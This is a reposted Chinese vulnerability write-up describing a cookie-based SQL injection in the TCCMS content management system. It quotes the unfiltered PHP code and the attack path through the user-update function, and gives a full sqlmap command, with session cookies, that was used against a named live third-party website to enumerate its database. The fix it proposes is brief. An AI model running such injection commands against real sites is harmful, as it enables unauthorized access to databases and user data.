TCCMS全版本COOKIE注入及修复

浏览:
字体:
发布时间:2013-12-09 23:24:24
来源:
TCCMS teamcen.com Cookie Injection
证明处使用SQLMAP注射成功
 
/public/Class/Authen.class.php
 
省略无关代码
 
请注意添加注释处代码,下同
 

public static function checkUserLogin() {        $_Obj = M("user");        if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}        //下面的语句直接使用$_COOKIE['userId']没有过滤        $sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];        //不考虑之后的代码,如果没有其他限制至少可以盲注        $info = $_Obj->query($sql);        if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) {            return true;        }        return false;    }//下面函数与之后提到的攻击向量有关public static function checkIsSelfData($uid) {     if (self::isAdmin()) {return true;}     if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;}     return false;    }

 

 
 
那么我们要定位漏洞代码的触发位置
 
/core/controller/user.class.php
 
 
 
攻击向量:
 
 
 
update()-------------》Authen::checkIsSelfData-------》checkUserLogin()
 
缺陷参数:userID
 
 
 
public function update() {
 
 
 
…………省略无关代码…………
 
 
 
//禁止修改别人的$IsSelfData = Authen::checkIsSelfData($_Obj->id);if (!$IsSelfData) {$this->setValue("error", Config::lang("NOTRIGHT"));$this->forward("error.html");exit;}$_Obj->update();StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1);}

 

 
 
即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射
 
 
 
下面是利用SQLMAP的证明
漏洞证明:
演示的站点为 lszq.xinwen110.cn
 
理事会员-中国社会新闻网理事会员-中国社会新闻网 - Power By TCCMS
 
本机测试时的命令
 
C:/Users/Administrator.PC-20110802HBAF>sqlmap.py -u "lszq.xinwen110.cn/index.php
 
?ac=user_update" --data "abc" --cookie "Cookie=PHPSESSID=0lc04nmbqmmtr420c83n8ov
 
3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --d
 
bms=mysql
 
 
 
 
跑了下数据库,证明即可
 

 
注意,请在复现漏洞时将COOKIE换为对应的有效COOKIE(可以注册一个)
 
修复方案:
checkUserLogin() 严格过滤userID
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();